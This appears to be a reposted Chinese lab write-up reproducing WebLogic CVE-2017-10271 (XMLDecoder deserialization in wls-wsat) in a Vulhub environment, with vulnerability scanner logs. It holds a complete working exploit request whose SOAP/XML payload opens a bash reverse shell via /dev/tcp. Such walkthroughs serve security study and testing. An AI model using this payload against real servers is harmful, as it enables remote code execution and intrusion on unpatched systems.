weblogic-10.3.6-'wls-wsat'-XMLDecoder反序列化漏洞-(CVE-2017-10
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目录
说明内容漏洞编号CVE-2017-10271漏洞名称Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)漏洞评级高危影响范围10.3.6漏洞描述Weblogic的WLS Security组件对外提供webservice服务
其中使用了XMLDecoder来解析用户传入的XML数据
在解析的过程中出现反序列化漏洞,导致可执行任意命令修复方案打补丁
上设备
升级组件1.1、漏洞描述
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令
1.2、漏洞等级
高危
1.3、影响版本
10.3.6
1.4、漏洞复现
1、基础环境
Path:Vulhub/weblogic/CVE-2017-10271
启动测试环境:- sudo docker-compose up -d
复制代码 等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。
Weblogic的登陆地址是your-ip:7001/console
2、漏洞扫描
nacs
查看帮助信息- ┌──(kali㉿kali)-[~/tools/nacs/0.0.3]
- └─$ sudo ./nacs -h 192.168.80.141 -pa 7001
- _ _ ___ ___ ___
- | \| | / \ / __| / __|
- | . | | - | | (__ \__ \
- |_|\_| |_|_| \___| |___/
- Version: 0.0.3
- [05:55:53] [INFO] Start to probe alive machines
- [05:55:53] [*] Target 192.168.80.141 is alive
- [05:55:53] [INFO] There are total of 1 hosts, and 1 are surviving
- [05:55:53] [WARNING] Too few surviving hosts
- [05:55:53] [INFO] Start to discover the ports
- [05:55:53] [*] [TCP/SSH] ssh://192.168.80.141:22 [SSH-2.0-OpenSSH_9.2p1\x20Debian-2]
- [05:55:59] [*] [TCP/HTTP] [404] [JSP] [Servlet] [Weblogic] http://192.168.80.141:7001 [None]
- [05:55:59] [INFO] A total of 2 targets, the rule base hits 2 targets
- [05:55:59] [INFO] Start to send pocs to web services (xray type)
- [05:55:59] [INFO] Load 397 xray poc(s)
- [05:56:01] [+] http://192.168.80.141:7001 poc-yaml-weblogic-cve-2019-2729-2
- [05:56:02] [+] http://192.168.80.141:7001 poc-yaml-weblogic-cve-2019-2725 v10
- [05:56:12] [+] http://192.168.80.141:7001 poc-yaml-weblogic-cve-2017-10271 reverse
- [05:57:01] [INFO] Start to process nonweb services
- [05:57:01] [INFO] [protocol] ssh 192.168.80.141
- [05:59:29] [INFO] Task finish, consumption of time: 3m35.385936144s
复制代码 weblogicScanner
项目地址:https://github.com/0xn0ne/weblogicScanner- ┌──(kali㉿kali)-[~/tools/weblogic/weblogicScanner]
- └─$ python ws.py -t 192.168.80.141
- [06:02:31][INFO] [-][CVE-2018-2894][192.168.80.141:7001] Not found.
- [06:02:33][INFO] [+][CVE-2017-10271][192.168.80.141:7001] Exists vulnerability!
- [06:02:33][INFO] [+][CVE-2014-4210][192.168.80.141:7001] Found module, Please verify manually!
- [06:02:38][INFO] [-][CVE-2019-2890][192.168.80.141:7001] Not vulnerability.
- [06:02:39][INFO] [-][CVE-2016-0638][192.168.80.141:7001] Not vulnerability.
- [06:02:39][INFO] [!][CVE-2018-3245][192.168.80.141:7001] Connection error.
- [06:02:39][INFO] [-][CVE-2018-3245][192.168.80.141:7001] Not vulnerability.
- [06:02:40][INFO] [-][CVE-2018-3191][192.168.80.141:7001] Not vulnerability.
- [06:02:40][INFO] [-][CVE-2020-2883][192.168.80.141:7001] Not vulnerability.
- [06:02:40][INFO] [-][CVE-2020-2555][192.168.80.141:7001] Not vulnerability.
- [06:02:42][INFO] [+][CVE-2020-2551][192.168.80.141:7001] Found module, Please verify manually!
- [06:02:42][INFO] [+][CVE-2019-2618][192.168.80.141:7001] Found module, Please verify manually!
- [06:02:43][INFO] [+][CVE-2019-2725][192.168.80.141:7001] Exists vulnerability!
- [06:02:43][INFO] [+][CVE-2018-3252][192.168.80.141:7001] Found module, Please verify manually!
- [06:02:43][INFO] [+][CVE-2020-14750][192.168.80.141:7001] Exists vulnerability!
- [06:02:43][INFO] [+][CVE-2019-2888][192.168.80.141:7001] Found module, Please verify manually!
- [06:02:44][INFO] [!][CVE-2020-14882][192.168.80.141:7001] Connection error.
- [06:02:44][INFO] [-][CVE-2020-14882][192.168.80.141:7001] Not vulnerability.
- [06:02:44][INFO] [+][CVE-2019-2729][192.168.80.141:7001] Exists vulnerability!
- [06:02:45][INFO] [+][CVE-2018-2893][192.168.80.141:7001] Exists vulnerability!
- [06:02:45][INFO] [+][CVE-2017-3506][192.168.80.141:7001] Exists vulnerability!
- [06:02:46][INFO] [+][CVE-2016-3510][192.168.80.141:7001] Exists vulnerability!
- [06:02:47][INFO] [+][CVE-2017-3248][192.168.80.141:7001] Exists vulnerability!
- [06:02:48][INFO] [-][CVE-2018-2628][192.168.80.141:7001] Not vulnerability.
- [06:02:52][INFO] [-][Weblogic Console][192.168.80.141:7001] Not found.
- [06:02:52][INFO] [-][CVE-2020-14883][192.168.80.141:7001] Not vulnerability.
- Run completed, 27 seconds total.
复制代码 3、漏洞验证
访问/wls-wsat/CoordinatorPortType页面
改变请求方式为post
kali监听21端口发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):- POST /wls-wsat/CoordinatorPortType HTTP/1.1
- Host: 192.168.80.141:7001
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Cookie: ADMINCONSOLESESSION=vq4hk23V21rs9yG5nGTvYkGppFGmFrvzzM2tvtw2pSnKQCsjPmvt!-1799840789
- Connection: close
- Content-Type: text/xml
- Content-Length: 641
- <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
- <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
- <java version="1.4.0" >
- <void >
- <array length="3">
- <void index="0">
- <string>/bin/bash</string>
- </void>
- <void index="1">
- <string>-c</string>
- </void>
- <void index="2">
- <string>bash -i >& /dev/tcp/192.168.80.141/21 0>&1</string>
- </void>
- </array>
- <void method="start"/></void>
- </java>
- </work:WorkContext>
- </soapenv:Header>
- <soapenv:Body/>
- </soapenv:Envelope>
复制代码 成功获取shell
来源:https://www.cnblogs.com/saury/archive/2023/09/05/17680974.html
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发表于 2023-9-5 22:18:04
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